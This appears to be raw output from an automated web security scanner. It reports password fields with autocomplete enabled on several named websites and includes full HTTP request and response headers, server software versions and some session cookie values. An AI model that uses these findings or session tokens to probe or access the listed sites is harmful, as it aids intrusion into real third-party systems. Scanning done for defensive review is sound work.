HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:04:37 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny6 Vary: Accept-Encoding Content-Type: text/html Connection: close Via: 1.1 AN-0016020122637050 Content-Length: 10755
The page contains a form with the following action URL:
https://www.paperg.com/process.php
The form contains the following password fields with autocomplete enabled:
login_password
account_password
account_confirm_password
Request
GET /post.php HTTP/1.1 Host: www.paperg.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PHPSESSID=1a2a1fi9q2vop26mnuph8otr37;
Response
HTTP/1.0 200 OK Date: Tue, 25 Jan 2011 05:04:41 GMT Server: Apache X-Powered-By: PHP/5.2.17 P3P: CP="CAO PSA OUR" Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html lang="en"> <head> <title>PaperG | Post a Flyer</title>
<meta http-equiv="Content-Type" co ...[SNIP]... </script>
The page contains a form with the following action URL:
https://www.paperg.com/login.php
The form contains the following password field with autocomplete enabled:
pass
Request
GET /post.php HTTP/1.1 Host: www.paperg.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PHPSESSID=1a2a1fi9q2vop26mnuph8otr37;
Response
HTTP/1.0 200 OK Date: Tue, 25 Jan 2011 05:04:41 GMT Server: Apache X-Powered-By: PHP/5.2.17 P3P: CP="CAO PSA OUR" Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html lang="en"> <head> <title>PaperG | Post a Flyer</title>
The page contains a form with the following action URL:
http://www.playshakespeare.com/index.php
The form contains the following password field with autocomplete enabled:
passwd
Request
GET / HTTP/1.1 Host: www.playshakespeare.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:15:11 GMT Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 X-Powered-By: PHP/5.2.14 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: eab80364d83027bfc601e73262603d25=341187f485832c9a1355235ffc880801; path=/ Last-Modified: Mon, 24 Jan 2011 15:15:14 GMT Vary: Accept-Encoding,User-Agent Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 180908
The form contains the following password field with autocomplete enabled:
passwd
Request
GET / HTTP/1.1 Host: www.regattaregatta.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:28:38 GMT Server: Microsoft-IIS/6.0 Set-Cookie: 9d1da0e50aa9b6d723bb7d2254c4deb6=e77aa027edf65e1c9fc004520497c394; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Set-Cookie: currentURI=http%3A%2F%2Fwww.regattaregatta.com%2Findex.php; expires=Wed, 26-Jan-2011 02:28:38 GMT; path=/ X-Powered-By: PleskWin X-Powered-By: ASP.NET Date: Tue, 25 Jan 2011 02:28:38 GMT Connection: close
The page contains a form with the following action URL:
http://www.rockettheme.com/index.php
The form contains the following password field with autocomplete enabled:
passwd
Request
GET / HTTP/1.1 Host: www.rockettheme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:01:10 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 PHP/5.2.12 X-Powered-By: PHP/5.2.12 Set-Cookie: cd6974ce18b02e32626c9ea04659f148=eec83c2a8abb5457a4ec33e10c194c24; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Mon, 24 Jan 2011 16:01:10 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 44216
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <head>
The page contains a form with the following action URL:
http://www.shape.com/kickapps/public/ajax-login
The form contains the following password field with autocomplete enabled:
password
Request
GET /workouts/articles/blood_sugar.html HTTP/1.1 Host: www.shape.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Date: Tue, 25 Jan 2011 02:28:50 GMT Server: Apache Cache-Control: max-age=900 Location: http://www.shape.com/workouts/articles/blood-sugar.html X-Server-Name: (null) ETag: "1295922530" Last-Modified: Tue, 25 Jan 2011 02:28:50 +0000 X-Powered-By: PHP/5.2.13 Via: HTTP/1.1 cdn.shape.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Expires: Tue, 25 Jan 2011 02:43:49 GMT Content-Type: text/html; charset=utf-8 Age: 0 Via: 1.1 mdw107101 (MII-APC/1.6) Connection: close Content-Length: 27234
The page contains a form with the following action URL:
http://www.shape.com/kickapps/public/ajax-login
The form contains the following password field with autocomplete enabled:
password
Request
GET /workouts/articles/workout_schedule.html HTTP/1.1 Host: www.shape.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Date: Tue, 25 Jan 2011 02:28:49 GMT Server: Apache Cache-Control: max-age=900 Location: http://www.shape.com/workouts/articles/workout-schedule.html X-Server-Name: (null) ETag: "1295922529" Last-Modified: Tue, 25 Jan 2011 02:28:49 +0000 X-Powered-By: PHP/5.2.13 Via: HTTP/1.1 cdn.shape.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Expires: Tue, 25 Jan 2011 02:43:49 GMT Content-Type: text/html; charset=utf-8 Age: 0 Via: 1.1 mdw107101 (MII-APC/1.6) Connection: close Content-Length: 27239
The form contains the following password field with autocomplete enabled:
passwd
Request
GET /index.php HTTP/1.1 Host: www.svenskjoomla.se Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The page contains a form with the following action URL:
http://www.thefeast.com/i/dispatcher/?h=feastuser
The form contains the following password field with autocomplete enabled:
loginPassword
Request
GET /boston/ HTTP/1.1 Host: www.thefeast.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache Last-Modified: Mon, 24 Jan 2011 23:22:48 GMT X-Server-Name: sj-c14-r8-u31-b7 Content-Type: text/html;charset=utf-8 Expires: Tue, 25 Jan 2011 00:09:31 GMT Cache-Control: max-age=0, no-cache Pragma: no-cache Date: Tue, 25 Jan 2011 00:09:31 GMT Connection: close Connection: Transfer-Encoding Content-Length: 280280
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The page contains a form with the following action URL:
http://www.thefeast.com/i/dispatcher/?h=feastuser
The form contains the following password field with autocomplete enabled:
regPassword
Request
GET /boston/ HTTP/1.1 Host: www.thefeast.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache Last-Modified: Mon, 24 Jan 2011 23:22:48 GMT X-Server-Name: sj-c14-r8-u31-b7 Content-Type: text/html;charset=utf-8 Expires: Tue, 25 Jan 2011 00:09:31 GMT Cache-Control: max-age=0, no-cache Pragma: no-cache Date: Tue, 25 Jan 2011 00:09:31 GMT Connection: close Connection: Transfer-Encoding Content-Length: 280280
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The page contains a form with the following action URL:
http://www.thefeast.com/i/dispatcher/?h=feastuser
The form contains the following password field with autocomplete enabled:
loginPassword
Request
GET /boston/Better-Yourself-Get-Smart-with-Our-Cheap-Picks-114487719.html HTTP/1.1 Host: www.thefeast.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache Last-Modified: Mon, 24 Jan 2011 23:24:38 GMT X-Server-Name: sj-c14-r2-u21 Content-Type: text/html;charset=utf-8 Expires: Tue, 25 Jan 2011 00:09:32 GMT Cache-Control: max-age=0, no-cache Pragma: no-cache Date: Tue, 25 Jan 2011 00:09:32 GMT Connection: close Connection: Transfer-Encoding Content-Length: 255575
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The page contains a form with the following action URL:
http://www.thefeast.com/i/dispatcher/?h=feastuser
The form contains the following password field with autocomplete enabled:
regPassword
Request
GET /boston/Better-Yourself-Get-Smart-with-Our-Cheap-Picks-114487719.html HTTP/1.1 Host: www.thefeast.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache Last-Modified: Mon, 24 Jan 2011 23:24:38 GMT X-Server-Name: sj-c14-r2-u21 Content-Type: text/html;charset=utf-8 Expires: Tue, 25 Jan 2011 00:09:32 GMT Cache-Control: max-age=0, no-cache Pragma: no-cache Date: Tue, 25 Jan 2011 00:09:32 GMT Connection: close Connection: Transfer-Encoding Content-Length: 255575
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The page contains a form with the following action URL:
http://www.thefeast.com/i/dispatcher/?h=feastuser
The form contains the following password field with autocomplete enabled:
loginPassword
Request
GET /boston/Trailer-Park-Boys-Bring-Trash-Talk-at-The-Wilbur-114477904.html HTTP/1.1 Host: www.thefeast.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache Last-Modified: Mon, 24 Jan 2011 23:24:38 GMT X-Server-Name: dv-c1-r2-u24-b14 Content-Type: text/html;charset=utf-8 Expires: Tue, 25 Jan 2011 00:09:42 GMT Cache-Control: max-age=0, no-cache Pragma: no-cache Date: Tue, 25 Jan 2011 00:09:42 GMT Connection: close Connection: Transfer-Encoding Content-Length: 255776
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The page contains a form with the following action URL:
http://www.thefeast.com/i/dispatcher/?h=feastuser
The form contains the following password field with autocomplete enabled:
regPassword
Request
GET /boston/Trailer-Park-Boys-Bring-Trash-Talk-at-The-Wilbur-114477904.html HTTP/1.1 Host: www.thefeast.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache Last-Modified: Mon, 24 Jan 2011 23:24:38 GMT X-Server-Name: dv-c1-r2-u24-b14 Content-Type: text/html;charset=utf-8 Expires: Tue, 25 Jan 2011 00:09:42 GMT Cache-Control: max-age=0, no-cache Pragma: no-cache Date: Tue, 25 Jan 2011 00:09:42 GMT Connection: close Connection: Transfer-Encoding Content-Length: 255776
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The page contains a form with the following action URL:
http://www.thefeast.com/i/dispatcher/?h=feastuser
The form contains the following password field with autocomplete enabled:
loginPassword
Request
GET /boston/shopping/FEAST-SHOP-BOS-A-Puffer-Never-Looked-So-Cute-114479944.html HTTP/1.1 Host: www.thefeast.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache Last-Modified: Mon, 24 Jan 2011 23:24:38 GMT X-Server-Name: sj-c14-r8-u31-b7 Content-Type: text/html;charset=utf-8 Expires: Tue, 25 Jan 2011 00:09:35 GMT Cache-Control: max-age=0, no-cache Pragma: no-cache Date: Tue, 25 Jan 2011 00:09:35 GMT Connection: close Connection: Transfer-Encoding Content-Length: 282213
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The page contains a form with the following action URL:
http://www.thefeast.com/i/dispatcher/?h=feastuser
The form contains the following password field with autocomplete enabled:
regPassword
Request
GET /boston/shopping/FEAST-SHOP-BOS-A-Puffer-Never-Looked-So-Cute-114479944.html HTTP/1.1 Host: www.thefeast.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache Last-Modified: Mon, 24 Jan 2011 23:24:38 GMT X-Server-Name: sj-c14-r8-u31-b7 Content-Type: text/html;charset=utf-8 Expires: Tue, 25 Jan 2011 00:09:35 GMT Cache-Control: max-age=0, no-cache Pragma: no-cache Date: Tue, 25 Jan 2011 00:09:35 GMT Connection: close Connection: Transfer-Encoding Content-Length: 282213
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The form contains the following password field with autocomplete enabled:
pword
Request
GET /velux_5_oceans_2010_race/ HTTP/1.1 Host: www.w-w-i.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The page contains a form with the following action URL:
http://www.woothemes.com/wp-login.php
The form contains the following password field with autocomplete enabled:
pwd
Request
GET / HTTP/1.1 Host: www.woothemes.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:11:04 GMT Server: LiteSpeed Connection: close X-Powered-By: PHP/5.3.2 Last-Modified: Tue, 25 Jan 2011 00:10:45 GMT Vary: Cookie X-Pingback: http://www.woothemes.com/xmlrpc.php Content-Type: text/html; charset=UTF-8 Content-Length: 25957
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET / HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:20:28 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:30:39 GMT Cache-Control: max-age=600 Pragma: cache Connection: close Content-Type: text/html; charset=UTF-8 X-Pad: avoid browser bug Content-Length: 64487
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-archive-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:59:29 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:09:54 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A7%3A%22archive%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A7%3A%22archive%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 93426
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-assembling-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:38:36 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:48:47 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22assembling%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22assembling%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 72783
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-atom-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:50:19 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:00:20 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22atom%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22atom%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 89319
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-audio-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:39:29 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:49:34 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22audio%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22audio%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 96673
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-automatic-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:40:47 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:50:59 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A9%3A%22automatic%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A9%3A%22automatic%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 90216
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-autoposter-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:36:50 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:47:05 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22autoposter%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22autoposter%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 36293
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-binaries-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:52:04 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:02:17 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A8%3A%22binaries%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A8%3A%22binaries%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 88854
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-binary-downloader-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:52:31 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:02:42 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A17%3A%22binary-downloader%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A17%3A%22binary+downloader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 35748
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-binary-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:36:29 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:46:34 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22binary%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22binary%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 91309
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-board-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:54:51 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:05:03 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22board%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22board%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 88225
